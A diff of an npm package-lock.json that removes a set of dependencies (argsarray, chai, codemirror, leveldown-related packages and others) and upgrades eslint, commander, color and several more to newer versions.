@@ -3908,11 +3296,6 @@
         "sprintf-js": "~1.0.2"
       }
     },
-    "argsarray": {
-      "version": "0.0.1",
-      "resolved": "https://registry.npmjs.org/argsarray/-/argsarray-0.0.1.tgz",
-      "integrity": "sha1-bnIHtOzbObCviDA/pa4ivajfYcs="
-    },
     "aria-query": {
       "version": "4.2.2",
       "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-4.2.2.tgz",
@@ -3977,17 +3360,6 @@
       "integrity": "sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=",
       "dev": true
     },
-    "assertion-error": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz",
-      "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==",
-      "dev": true
-    },
-    "ast-types": {
-      "version": "0.9.6",
-      "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.9.6.tgz",
-      "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk="
-    },
     "astral-regex": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz",
@@ -4015,11 +3387,6 @@
         "asynciterator": "^3.0.0"
       }
     },
-    "attempt-x": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/attempt-x/-/attempt-x-1.1.3.tgz",
-      "integrity": "sha512-y/+ek8IjxVpTbj/phC87jK5YRhlP5Uu7FlQdCmYuut1DTjNruyrGqUWi5bcX1VKsQX1B0FX16A1hqHomKpHv3A=="
-    },
     "axe-core": {
       "version": "4.3.3",
       "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.3.3.tgz",
@@ -4035,17 +3402,14 @@
     "balanced-match": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
-      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
-    },
-    "base62": {
-      "version": "1.2.8",
-      "resolved": "https://registry.npmjs.org/base62/-/base62-1.2.8.tgz",
-      "integrity": "sha512-V6YHUbjLxN1ymqNLb1DPHoU1CpfdL7d2YTIp5W3U4hhoG4hhxNmsFDs66M9EXxBiSEke5Bt5dwdfMwwZF70iLA=="
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true
     },
     "base64-js": {
       "version": "1.5.1",
       "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
-      "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA=="
+      "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
+      "dev": true
     },
     "binary-extensions": {
       "version": "2.2.0",
@@ -4062,40 +3426,13 @@
         "buffer": "^5.5.0",
         "inherits": "^2.0.4",
         "readable-stream": "^3.4.0"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-          "dev": true
-        },
-        "readable-stream": {
-          "version": "3.6.0",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
-          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
-          "dev": true,
-          "requires": {
-            "inherits": "^2.0.3",
-            "string_decoder": "^1.1.1",
-            "util-deprecate": "^1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.3.0",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
-          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
-          "dev": true,
-          "requires": {
-            "safe-buffer": "~5.2.0"
-          }
-        }
       }
     },
     "brace-expansion": {
       "version": "1.1.11",
       "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
       "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+      "dev": true,
       "requires": {
         "balanced-match": "^1.0.0",
         "concat-map": "0.0.1"
@@ -4110,16 +3447,11 @@
         "fill-range": "^7.0.1"
       }
     },
-    "browser-stdout": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz",
-      "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==",
-      "dev": true
-    },
     "buffer": {
       "version": "5.7.1",
       "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
       "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
+      "dev": true,
       "requires": {
         "base64-js": "^1.3.1",
         "ieee754": "^1.1.13"
@@ -4132,12 +3464,10 @@
       "dev": true
     },
     "buffer-from": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-0.1.1.tgz",
-      "integrity": "sha1-V7GLHaChnsBvM4N6UnWiQjUb114=",
-      "requires": {
-        "is-array-buffer-x": "^1.0.13"
-      }
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
+      "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
+      "dev": true
     },
     "builtin-modules": {
       "version": "3.2.0",
@@ -4161,11 +3491,6 @@
         "ylru": "^1.2.0"
       }
     },
-    "cached-constructors-x": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/cached-constructors-x/-/cached-constructors-x-1.0.2.tgz",
-      "integrity": "sha512-7lKwmwXweW6E/31RHAJemLtZPfb2xvcABXknFF4b/dNYv4DbSGTgQHckXLQkNw6BB4HKFYW6mJgsNjADAy1ehw=="
-    },
     "call-bind": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz",
@@ -4205,35 +3530,15 @@
       "integrity": "sha512-mAjKJPIyP0xqqv6IAkvso07StOmz6cmGtNDg3pXCSzXVZOqka7StIkAhJl/zHOi4M2CgpYfD6aeRWbnrmtvBEA==",
       "dev": true
     },
-    "chai": {
-      "version": "4.3.4",
-      "resolved": "https://registry.npmjs.org/chai/-/chai-4.3.4.tgz",
-      "integrity": "sha512-yS5H68VYOCtN1cjfwumDSuzn/9c+yza4f3reKXlE5rUg7SFcCEy90gJvydNgOYtblyf4Zi6jIWRnXOgErta0KA==",
-      "dev": true,
-      "requires": {
-        "assertion-error": "^1.1.0",
-        "check-error": "^1.0.2",
-        "deep-eql": "^3.0.1",
-        "get-func-name": "^2.0.0",
-        "pathval": "^1.1.1",
-        "type-detect": "^4.0.5"
-      }
-    },
     "chai-a11y-axe": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npmjs.org/chai-a11y-axe/-/chai-a11y-axe-1.3.1.tgz",
-      "integrity": "sha512-O+JJ+fELEvK/5SwFe9ltIk+qYz9p+zjnw/iUC1qNrlpgEPvTxScvyvQSU7eP73ixxHkCH1oNFAqkiM+MopbCEw==",
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/chai-a11y-axe/-/chai-a11y-axe-1.3.2.tgz",
+      "integrity": "sha512-/jYczmhGUoCfEcsrkJwjecy3PJ31T9FxFdu2BDlAwR/sX1nN3L2XmuPP3tw8iYk6LPqdF7K11wwFr3yUZMv5MA==",
       "dev": true,
       "requires": {
-        "axe-core": "^4.0.2"
+        "axe-core": "^4.3.3"
       }
     },
-    "chai-dom": {
-      "version": "1.10.0",
-      "resolved": "https://registry.npmjs.org/chai-dom/-/chai-dom-1.10.0.tgz",
-      "integrity": "sha512-/FE0NvEGMXx1x1YQlc8ihLrEhH8JawflchuGe6ypIAX/4Zwmkr4cC3mfR9pDytbxsE/2LSm719TeU7VF/TCmtg==",
-      "dev": true
-    },
     "chalk": {
       "version": "4.1.2",
       "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
@@ -4244,17 +3549,6 @@
         "supports-color": "^7.1.0"
       }
     },
-    "charenc": {
-      "version": "0.0.2",
-      "resolved": "https://registry.npmjs.org/charenc/-/charenc-0.0.2.tgz",
-      "integrity": "sha1-wKHS86cJLgN3S/qD8UwPxXkKhmc="
-    },
-    "check-error": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.2.tgz",
-      "integrity": "sha1-V00xLt2Iu13YkS6Sht1sCu1KrII=",
-      "dev": true
-    },
     "chokidar": {
       "version": "3.5.2",
       "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.2.tgz",
@@ -4352,11 +3646,6 @@
       "integrity": "sha1-G39Ln1kfHo+DZwQBYANFoCiHQ18=",
       "dev": true
     },
-    "clone-buffer": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/clone-buffer/-/clone-buffer-1.0.0.tgz",
-      "integrity": "sha1-4+JbIHrE5wGvch4staFnksrD3Fg="
-    },
     "co": {
       "version": "4.6.0",
       "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
@@ -4375,19 +3664,14 @@
         "type-is": "^1.6.16"
       }
     },
-    "codemirror": {
-      "version": "5.63.1",
-      "resolved": "https://registry.npmjs.org/codemirror/-/codemirror-5.63.1.tgz",
-      "integrity": "sha512-baivaNZreZOGh1/tYyTvCupC9NeWk7qlZeGUDi4nFKj/J0JU8FYKZND4QqLw70P7HOttlCt4JJAOj9GoIhHEkA=="
-    },
     "color": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/color/-/color-3.0.0.tgz",
-      "integrity": "sha512-jCpd5+s0s0t7p3pHQKpnJ0TpQKKdleP71LWcA0aqiljpiuAkOSUFN/dyH8ZwF0hRmFlrIuRhufds1QyEP9EB+w==",
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/color/-/color-3.2.1.tgz",
+      "integrity": "sha512-aBl7dZI9ENN6fUGC7mWpMTPNHmWUSNan9tuWN6ahh5ZLNk9baLJOnSMlrQkHcrfFgz2/RigjUVAjdx36VcemKA==",
       "dev": true,
       "requires": {
-        "color-convert": "^1.9.1",
-        "color-string": "^1.5.2"
+        "color-convert": "^1.9.3",
+        "color-string": "^1.6.0"
       }
     },
     "color-convert": {
@@ -4428,12 +3712,12 @@
       "dev": true
     },
     "colorspace": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/colorspace/-/colorspace-1.1.2.tgz",
-      "integrity": "sha512-vt+OoIP2d76xLhjwbBaucYlNSpPsrJWPlBTtwCpQKIu6/CSMutyzX93O/Do0qzpH3YoHEes8YEFXyZ797rEhzQ==",
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/colorspace/-/colorspace-1.1.4.tgz",
+      "integrity": "sha512-BgvKJiuVu1igBUF2kEjRCZXol6wiiGbY5ipL/oVPwm0BL9sIpMIzM8IK7vwuxIIzOXMV3Ey5w+vxhm0rR/TN8w==",
       "dev": true,
       "requires": {
-        "color": "3.0.x",
+        "color": "^3.1.3",
         "text-hex": "1.0.x"
       }
     },
@@ -4511,25 +3795,10 @@
       }
     },
     "commander": {
-      "version": "2.20.3",
-      "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
-      "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="
-    },
-    "commoner": {
-      "version": "0.10.8",
-      "resolved": "https://registry.npmjs.org/commoner/-/commoner-0.10.8.tgz",
-      "integrity": "sha1-NPw2cs0kOT6LtH5wyqApOBH08sU=",
-      "requires": {
-        "commander": "^2.5.0",
-        "detective": "^4.3.1",
-        "glob": "^5.0.15",
-        "graceful-fs": "^4.1.2",
-        "iconv-lite": "^0.4.5",
-        "mkdirp": "^0.5.0",
-        "private": "^0.1.6",
-        "q": "^1.1.2",
-        "recast": "^0.11.17"
-      }
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/commander/-/commander-6.2.1.tgz",
+      "integrity": "sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==",
+      "dev": true
     },
     "compare-func": {
       "version": "2.0.0",
@@ -4573,7 +3842,8 @@
     "concat-map": {
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
-      "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s="
+      "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=",
+      "dev": true
     },
     "confusing-browser-globals": {
       "version": "1.0.10",
@@ -4637,43 +3907,6 @@
         "meow": "^8.0.0",
         "split2": "^3.0.0",
         "through2": "^4.0.0"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-          "dev": true
-        },
-        "readable-stream": {
-          "version": "3.6.0",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
-          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
-          "dev": true,
-          "requires": {
-            "inherits": "^2.0.3",
-            "string_decoder": "^1.1.1",
-            "util-deprecate": "^1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.3.0",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
-          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
-          "dev": true,
-          "requires": {
-            "safe-buffer": "~5.2.0"
-          }
-        },
-        "through2": {
-          "version": "4.0.2",
-          "resolved": "https://registry.npmjs.org/through2/-/through2-4.0.2.tgz",
-          "integrity": "sha512-iOqSav00cVxEEICeD7TjLB1sueEL+81Wpzp2bY17uZjZN0pWZPuo4suZ/61VujxmqSGFfgOcNuTZ85QJwNZQpw==",
-          "dev": true,
-          "requires": {
-            "readable-stream": "3"
-          }
-        }
       }
     },
     "convert-source-map": {
@@ -4704,15 +3937,16 @@
       }
     },
     "core-js-pure": {
-      "version": "3.18.2",
-      "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.18.2.tgz",
-      "integrity": "sha512-4hMMLUlZhKJKOWbbGD1/VDUxGPEhEoN/T01k7bx271WiBKCvCfkgPzy0IeRS4PB50p6/N1q/SZL4B/TRsTE5bA==",
+      "version": "3.18.3",
+      "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.18.3.tgz",
+      "integrity": "sha512-qfskyO/KjtbYn09bn1IPkuhHl5PlJ6IzJ9s9sraJ1EqcuGyLGKzhSM1cY0zgyL9hx42eulQLZ6WaeK5ycJCkqw==",
       "dev": true
     },
     "core-util-is": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
-      "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="
+      "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==",
+      "dev": true
     },
     "cosmiconfig": {
       "version": "7.0.1",
@@ -4740,14 +3974,6 @@
       "dev": true,
       "requires": {
         "node-fetch": "2.6.1"
-      },
-      "dependencies": {
-        "node-fetch": {
-          "version": "2.6.1",
-          "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz",
-          "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==",
-          "dev": true
-        }
       }
     },
     "cross-spawn": {
@@ -4761,11 +3987,6 @@
         "which": "^2.0.1"
       }
     },
-    "crypt": {
-      "version": "0.0.2",
-      "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz",
-      "integrity": "sha1-iNf/fsDfuG9xPch7u0LQRNPmxBs="
-    },
     "dargs": {
       "version": "7.0.0",
       "resolved": "https://registry.npmjs.org/dargs/-/dargs-7.0.0.tgz",
@@ -4817,15 +4038,6 @@
       "integrity": "sha512-V0pfhfr8suzyPGOx3nmq4aHqabehUZn6Ch9kyFpV79TGDTWFmHqUqXdabR7QHqxzrYolF4+tVmJhUG4OURg5dQ==",
       "dev": true
     },
-    "deep-eql": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz",
-      "integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==",
-      "dev": true,
-      "requires": {
-        "type-detect": "^4.0.0"
-      }
-    },
     "deep-equal": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-1.0.1.tgz",
@@ -4850,22 +4062,6 @@
       "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==",
       "dev": true
     },
-    "deferred-leveldown": {
-      "version": "5.3.0",
-      "resolved": "https://registry.npmjs.org/deferred-leveldown/-/deferred-leveldown-5.3.0.tgz",
-      "integrity": "sha512-a59VOT+oDy7vtAbLRCZwWgxu2BaCfd5Hk7wxJd48ei7I+nsg8Orlb9CLG0PMZienk9BSUKgeAqkO2+Lw+1+Ukw==",
-      "requires": {
-        "abstract-leveldown": "~6.2.1",
-        "inherits": "^2.0.3"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
-        }
-      }
-    },
     "define-lazy-prop": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz",
@@ -4881,11 +4077,6 @@
         "object-keys": "^1.0.12"
       }
     },
-    "defined": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/defined/-/defined-1.0.0.tgz",
-      "integrity": "sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM="
-    },
     "delegates": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",
@@ -4910,15 +4101,6 @@
       "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=",
       "dev": true
     },
-    "detective": {
-      "version": "4.7.1",
-      "resolved": "https://registry.npmjs.org/detective/-/detective-4.7.1.tgz",
-      "integrity": "sha512-H6PmeeUcZloWtdt4DAkFyzFL94arpHr3NOwwmVILFiy+9Qd4JTxxXrzfyGk/lmct2qVGBwTSwSXagqu2BxmWig==",
-      "requires": {
-        "acorn": "^5.2.1",
-        "defined": "^1.0.0"
-      }
-    },
     "devtools-protocol": {
       "version": "0.0.901419",
       "resolved": "https://registry.npmjs.org/devtools-protocol/-/devtools-protocol-0.0.901419.tgz",
@@ -5027,11 +4209,6 @@
         "is-obj": "^2.0.0"
       }
     },
-    "double-ended-queue": {
-      "version": "2.1.0-0",
-      "resolved": "https://registry.npmjs.org/double-ended-queue/-/double-ended-queue-2.1.0-0.tgz",
-      "integrity": "sha1-ED01J/0xUo9AGIEwyEHv3XgmTlw="
-    },
     "ee-first": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
@@ -5056,24 +4233,6 @@
       "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=",
       "dev": true
     },
-    "encoding-down": {
-      "version": "6.3.0",
-      "resolved": "https://registry.npmjs.org/encoding-down/-/encoding-down-6.3.0.tgz",
-      "integrity": "sha512-QKrV0iKR6MZVJV08QY0wp1e7vF6QbhnbQhb07bwpEyuz4uZiZgPlEGdkCROuFkUwdxlFaiPIhjyarH1ee/3vhw==",
-      "requires": {
-        "abstract-leveldown": "^6.2.1",
-        "inherits": "^2.0.3",
-        "level-codec": "^9.0.0",
-        "level-errors": "^2.0.0"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
-        }
-      }
-    },
     "end-of-stream": {
       "version": "1.4.4",
       "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
@@ -5083,14 +4242,6 @@
         "once": "^1.4.0"
       }
     },
-    "end-stream": {
-      "version": "0.1.0",
-      "resolved": "https://registry.npmjs.org/end-stream/-/end-stream-0.1.0.tgz",
-      "integrity": "sha1-MgA/P0OKKwFDFoE3+PpumGbIHtU=",
-      "requires": {
-        "write-stream": "~0.4.3"
-      }
-    },
     "enquirer": {
       "version": "2.3.6",
       "resolved": "https://registry.npmjs.org/enquirer/-/enquirer-2.3.6.tgz",
@@ -5106,14 +4257,6 @@
       "integrity": "sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q==",
       "dev": true
     },
-    "errno": {
-      "version": "0.1.8",
-      "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz",
-      "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==",
-      "requires": {
-        "prr": "~1.0.1"
-      }
-    },
     "error-ex": {
       "version": "1.3.2",
       "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
@@ -5182,16 +4325,6 @@
         "is-symbol": "^1.0.2"
       }
     },
-    "es3ify": {
-      "version": "0.2.2",
-      "resolved": "https://registry.npmjs.org/es3ify/-/es3ify-0.2.2.tgz",
-      "integrity": "sha1-Xa4+ZQ5b42hLiAZlE9Uo0JJimGI=",
-      "requires": {
-        "esprima": "^2.7.1",
-        "jstransform": "~11.0.0",
-        "through": "~2.3.4"
-      }
-    },
     "escalade": {
       "version": "3.1.1",
       "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
@@ -5211,37 +4344,36 @@
       "dev": true
     },
     "eslint": {
-      "version": "7.32.0",
-      "resolved": "https://registry.npmjs.org/eslint/-/eslint-7.32.0.tgz",
-      "integrity": "sha512-VHZ8gX+EDfz+97jGcgyGCyRia/dPOd6Xh9yPv8Bl1+SoaIwD+a/vlrOmGRUyOYu7MwUhc7CxqeaDZU13S4+EpA==",
+      "version": "8.0.1",
+      "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.0.1.tgz",
+      "integrity": "sha512-LsgcwZgQ72vZ+SMp4K6pAnk2yFDWL7Ti4pJaRvsZ0Hsw2h8ZjUIW38a9AFn2cZXdBMlScMFYYgsSp4ttFI/0bA==",
       "dev": true,
       "requires": {
-        "@babel/code-frame": "7.12.11",
-        "@eslint/eslintrc": "^0.4.3",
-        "@humanwhocodes/config-array": "^0.5.0",
+        "@eslint/eslintrc": "^1.0.3",
+        "@humanwhocodes/config-array": "^0.6.0",
         "ajv": "^6.10.0",
         "chalk": "^4.0.0",
         "cross-spawn": "^7.0.2",
-        "debug": "^4.0.1",
+        "debug": "^4.3.2",
         "doctrine": "^3.0.0",
         "enquirer": "^2.3.5",
         "escape-string-regexp": "^4.0.0",
-        "eslint-scope": "^5.1.1",
-        "eslint-utils": "^2.1.0",
-        "eslint-visitor-keys": "^2.0.0",
-        "espree": "^7.3.1",
+        "eslint-scope": "^6.0.0",
+        "eslint-utils": "^3.0.0",
+        "eslint-visitor-keys": "^3.0.0",
+        "espree": "^9.0.0",
         "esquery": "^1.4.0",
         "esutils": "^2.0.2",
         "fast-deep-equal": "^3.1.3",
         "file-entry-cache": "^6.0.1",
         "functional-red-black-tree": "^1.0.1",
-        "glob-parent": "^5.1.2",
+        "glob-parent": "^6.0.1",
         "globals": "^13.6.0",
         "ignore": "^4.0.6",
         "import-fresh": "^3.0.0",
         "imurmurhash": "^0.1.4",
         "is-glob": "^4.0.0",
-        "js-yaml": "^3.13.1",
+        "js-yaml": "^4.1.0",
         "json-stable-stringify-without-jsonify": "^1.0.1",
         "levn": "^0.4.1",
         "lodash.merge": "^4.6.2",
@@ -5249,24 +4381,60 @@
         "natural-compare": "^1.4.0",
         "optionator": "^0.9.1",
         "progress": "^2.0.0",
-        "regexpp": "^3.1.0",
+        "regexpp": "^3.2.0",
         "semver": "^7.2.1",
         "strip-ansi": "^6.0.0",
         "strip-json-comments": "^3.1.0",
-        "table": "^6.0.9",
         "text-table": "^0.2.0",
         "v8-compile-cache": "^2.0.3"
       },
       "dependencies": {
-        "@babel/code-frame": {
-          "version": "7.12.11",
-          "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.11.tgz",
-          "integrity": "sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw==",
+        "@eslint/eslintrc": {
+          "version": "1.0.3",
+          "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.0.3.tgz",
+          "integrity": "sha512-DHI1wDPoKCBPoLZA3qDR91+3te/wDSc1YhKg3jR8NxKKRJq2hwHwcWv31cSwSYvIBrmbENoYMWcenW8uproQqg==",
           "dev": true,
           "requires": {
-            "@babel/highlight": "^7.10.4"
+            "ajv": "^6.12.4",
+            "debug": "^4.3.2",
+            "espree": "^9.0.0",
+            "globals": "^13.9.0",
+            "ignore": "^4.0.6",
+            "import-fresh": "^3.2.1",
+            "js-yaml": "^3.13.1",
+            "minimatch": "^3.0.4",
+            "strip-json-comments": "^3.1.1"
+          },
+          "dependencies": {
+            "js-yaml": {
+              "version": "3.14.1",
+              "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+              "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+              "dev": true,
+              "requires": {
+                "argparse": "^1.0.7",
+                "esprima": "^4.0.0"
+              }
+            }
+          }
+        },
+        "@humanwhocodes/config-array": {
+          "version": "0.6.0",
+          "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.6.0.tgz",
+          "integrity": "sha512-JQlEKbcgEUjBFhLIF4iqM7u/9lwgHRBcpHrmUNCALK0Q3amXN6lxdoXLnF0sm11E9VqTmBALR87IlUg1bZ8A9A==",
+          "dev": true,
+          "requires": {
+            "@humanwhocodes/object-schema": "^1.2.0",
+            "debug": "^4.1.1",
+            "minimatch": "^3.0.4"
           }
         },
+        "acorn": {
+          "version": "8.5.0",
+          "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.5.0.tgz",
+          "integrity": "sha512-yXbYeFy+jUuYd3/CDcg2NkIYE991XYX/bje7LmjJigUciaeO1JR4XxXgCIV1/Zc/dRuFEyw1L0pbA+qynJkW5Q==",
+          "dev": true
+        },
         "debug": {
           "version": "4.3.2",
           "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz",
@@ -5282,6 +4450,82 @@
